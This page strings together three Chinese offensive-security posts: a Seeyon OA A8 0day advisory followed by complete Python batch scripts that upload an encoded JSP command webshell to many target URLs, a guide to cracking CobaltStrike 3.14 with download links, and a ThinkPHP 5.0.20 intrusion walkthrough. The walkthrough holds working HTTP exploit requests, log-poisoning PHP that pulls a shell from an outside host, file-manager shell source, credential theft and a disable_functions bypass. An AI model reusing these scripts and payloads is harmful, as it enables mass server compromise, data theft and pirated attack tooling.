seeyon_rce致远getshell 0day poc批量检测脚本——致远 OA A8 Getshell 漏洞 业界新闻
本文主要是对于昨日大概晚间八点左右在网上出现的关于致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day,且目前已有漏洞被在野利用,在中、大型政府企业中都广泛使用。文末给出致远getshell 0day poc批量检测脚本(python版本)
已验证影响版本:
A8 V7.0 SP3
A8 V6.1 SP2
(V6.1 SP1 验证尚不存在,其他版本未验证)
漏洞成因:
致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露,安全过滤处理措施不足,使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的网站后门文件,从而获取目标服务器权限,在目标服务器上执行任意代码。
影响范围:
通过知道创宇旗下ZoomEye网络空间搜索引擎搜索结果,全球共有29,425个致远OA系统开放记录,中国为29,247个大部分分布在北京、广东、四川等省。
目前利用代码已在野外公开,漏洞验证效果如下,成功getshell样例截图:
缓解措施:
漏洞位置为:/seeyon/htmlofficeservlet,可以对该地址配置ACL规则。
或者联系官方获取补丁程序,官网地址:http://www.seeyon.com/Info/constant.html
临时修补方案如下:
1、 配置URL访问控制策略;
2、在公网部署的致远A8+服务器,通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问;
3、 对OA服务器上的网站后门文件进行及时查杀。
附上验证POC,致远getshell 0day poc批量检测脚本如下:
使用方法:
批量检测url
在脚本同目录下建立url.txt
放入待检测的URL运行脚本
分别为python2和python3版本:
# Wednesday, 26 June 2019 # Author:nianhua # Blog:https://github.com/nian-hua/ # python2 版本 import re import requests import base64 from multiprocessing import Pool, Manager def send_payload(url): headers = {'Content-Type': 'application/x-www-form-urlencoded'} payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U=" payload = base64.b64decode(payload) try: r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload) r = requests.get( url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming') if "wangming" in r.text: return url else: return 0 except: return 0 def remove_control_chars(s): control_chars = ''.join(map(unichr, range(0,32) + range(127,160))) control_char_re = re.compile('[%s]' % re.escape(control_chars)) s = control_char_re.sub('', s) if 'http' not in s: s = 'http://' + s return s def savePeopleInformation(url, queue): newurl = send_payload(url) if newurl != 0: fw = open('loophole.txt', 'a') fw.write(newurl + '\n') fw.close() queue.put(url) def main(): pool = Pool(10) queue = Manager().Queue() fr = open('url.txt', 'r') lines = fr.readlines() for i in lines: url = remove_control_chars(i) pool.apply_async(savePeopleInformation, args=(url, queue,)) allnum = len(lines) num = 0 while True: print queue.get() num += 1 if num >= allnum: fr.close() break if "__main__" == __name__: main()
# Wednesday, 26 June 2019 # Author:nianhua # Blog:https://github.com/nian-hua/ # python3 版本 import re import requests import base64 from multiprocessing import Pool, Manager def send_payload(url): headers = {'Content-Type': 'application/x-www-form-urlencoded'} payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U=" payload = base64.b64decode(payload) try: r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload) r = requests.get( url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming') if "wangming" in r.text: return url else: return 0 except: return 0 def remove_control_chars(s): control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160)))) control_char_re = re.compile('[%s]' % re.escape(control_chars)) s = control_char_re.sub('', s) if 'http' not in s: s = 'http://' + s return s def savePeopleInformation(url, queue): newurl = send_payload(url) if newurl != 0: fw = open('loophole.txt', 'a') fw.write(newurl + '\n') fw.close() queue.put(url) def main(): pool = Pool(10) queue = Manager().Queue() fr = open('url.txt', 'r') lines = fr.readlines() for i in lines: url = remove_control_chars(i) pool.apply_async(savePeopleInformation, args=(url, queue,)) allnum = len(lines) num = 0 while True: print(queue.get()) num += 1 if num >= allnum: fr.close() break if "__main__" == __name__: main()
CobaltStrike3.14破解 安全工具
本文章向大家介绍CobaltStrike3.14破解,主要包括CobaltStrike3.14破解使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
简单的介绍(copy):
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。本期“安仔课堂”,ISEC实验室的陈老师带大家实战操作Cobalt Strike神器的使用。
最近有小伙伴问我要cobalt strike 3.14的版本,之前国际友人给了我3.14的Trial版但是一直没破解,正好破解了分享给大家。关于破解方法网上有很多不再多说,这里仅指出需要修改的文件。
关键文件:
去除试用限制:common/License.class
去除端口限制:aggressor/dialogs/ListenerDialog.class
程序逻辑:common/Authorization.class、dns/QuickSecurity.class
Xor编码逻辑:common/ArtifactUtils.class、encoders/XorEncoder.class
添加Xor.bin:resources/xor.bin、resources/xor64.bin
后门指纹:
server/ProfileEdits.class
Common/BaseArtifactUtils.class
Common/ListenerConfig.class
去除空格后门:common/WebTransforms.class
关于这个空格后门,本来是无意间想到然后瞅了一眼,发现3.14版本的竟然还有,官方不是说3.13版本就修复了么。
3.14版本空格后门存在的位置:
备份下载地址:https://github.com/Mr-xn/cobaltstrike-cracked
由于GayHub屏蔽了,故上传网盘:https://mir.cr/M47IQMCE , https://www.solidfiles.com/v/3PB26YqyrNvdL
原版试用下载地址:https://mir.cr/6MKQCOR2
原文地址:https://bithack.io/forum/310
某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell 渗透测试
ThinkPHP 的站,且存在 ThinkPHP 5.0.x 远程命令执行漏洞,并且开了 debug 模式,但是⽬标用的是ThinkPHP5.0.20,⼀开始⽤网络上的 poc 打怎么都不成功。
第一个问题是,目标 PHP 禁⽤了命令执行的函数,比如执行 system 提示 disabled:
不过看起来文件函数没有禁用,⽐如 file_get_contents 没有报 disabled:
但是还有第⼆个问题,就是 tp 5.0.20 和 5.0.23 版本的代码有点区别,⽤网络上流传的 poc 打过去,始终提示要执行的函数参数为 null。
所以我又本地搭了 5.0.20 版本的 tp 进行调试,最后发现 poc 改成下 ⾯这样就可以成功利用:
POST /public/index.php?s=captcha HTTP/1.1 Host: 192.168.66.12 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 81aaa=id&_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=POST
POST /public/index.php?s=captcha&aaa=id HTTP/1.1 Host: 192.168.66.12 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 73_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=xxx
ok,本地测试是成功了,再回到目标站,由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞:
1.函数执行结果不会直接回显
2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。
后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。
file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。
于是找到 __include_file :
__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:
由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。
先本地测试一下可⾏性: 构造请求往 tp ⽇志里插入恶意代码字符:
<?=file_put_contents('./filemanager.php',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>
代码插⼊日志成功:
然后包含日志文件,成功执行恶意代码,往 public ⽬录下写入了一个恶意 php ⽂件:
为了了适应⽬标网站的沙盒,这里预备写的恶意⽂件实际上是个纯⽂件管理 shell,只能执行⽂件相关的 操作(读写文件、创建目录、删文件⽬录等)。 临时写的,⾮常简陋,源码在如下:
<?php $mode = $_REQUEST['mode']; if (strtoupper($mode) == 'READ') { $path = $_REQUEST['filename']; if (is_dir($path)) { $filenames = scandir($path); printf("Files of $path :\r\n\r\n"); foreach ($filenames as $filename) { if (is_dir($path . DIRECTORY_SEPARATOR . $filename)) { printf("% -65s [dir]\r\n", $filename); } else { printf("% -70s\r\n", $filename); } } } else { $filecontent = file_get_contents($path); echo $filecontent; } } elseif (strtoupper($mode) == 'WRITE') { $filename = $_REQUEST['filename']; $content = $_REQUEST['content']; if (file_put_contents($filename, $content)) { echo 'write success.'; } else { echo 'write fail.'; } } elseif (strtoupper($mode) == 'MKDIR') { $dir = $_REQUEST['dir']; if (mkdir($dir)) { echo 'mkdir success.'; } else { echo 'mkdir fail.'; } } elseif (strtoupper($mode) == 'RM') { $filename = $_REQUEST['filename']; if (is_file($filename)) { if (unlink($filename)) { echo 'rm file success.'; } else { echo 'rm file fail.'; } } elseif (is_dir($filename)) { if (rmdir($filename)) { echo 'rm dir success.'; } else { echo 'rm dir fail'; } } else { echo 'unknown error, file may not exist.'; } } else { echo "wrong mode."; }
于是当我本地测试没问题后,再准备在目标上测试时,发现竟然连 web 目录写文件的权限都没有:
好吧,权限也限制地比较死,那就还是往 tp ⽇志⽬目录下写文件吧(由于前面写过的日志代码执⾏失败导致后续写入的代码不会执行,所以又等到第二天生成新的⽇志⽂件再来包含): 通过 url 写⼊日志的代码:
<?=file_put_contents('../runtime/log/201901/00.log',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>
然后通过文件包含来执行我们的纯⽂件管理 shell,⽐如列出当前目录:
通过读 application ⽬录下的 database.php,拿到了数据库的账号密码:
⽬标虽然用了 cdn,但是通过 file_get_contents 往外发⼀一个请求,就可以确定真实 ip,对真实 ip 扫 描,发现开 了了 3306 端⼝,所以试了下读出来的账号密码,直接连上去了:
由于目标还对外开了 ssh 端口,所以又试着翻了下服务器上的⽂件,试图找到账号密码直接 ssh 连上去,简单查找后未果。
思路重新回到目标 php 环境的禁⽤用函数上来。
由于现在我通过写⼊的文件管理 shell 和任意⽂件包含, 已经能执行除了禁用函数外的任意 php 代码,不过之前没怎么搞过 php 沙盒逃逸或禁用函数绕过之类的,于是请教了p师傅来做了下这方面的指导。
先看了 php info,但 php info 里没有什么关于禁用函数方⾯有价值的信息:
所以试试执⾏:
<?phpvar_dump(ini_get('disable_functions'));
passthru exec system chroot chgrp chown shell_exec popen ini_alter ini_restore dl openlog syslog readlink symlink popepassthru
黑名单过滤,可以用 pcntl_exec 来绕过。 再利用前面写入的⽂件管理 shell 往 /tmp/ ⽬录下写一个 sh脚本,即要执行的命令:
#!/bin/bash id > /tmp/success
再来执行 PHP 代码:
<?php switch (pcntl_fork()) { case 0: pcntl_exec('/bin/bash', ['/tmp/exec.sh']); exit(0); default: break; }
如果命令执行成功, id 命令的结果会保存在 /tmp/success 下,于是尝试读取:
最后重复上述步骤,改成执行反弹 shell 的命令:
文章作者:露娜是真的秀 地址:https://wsrc.weibo.com/load_detail_article/70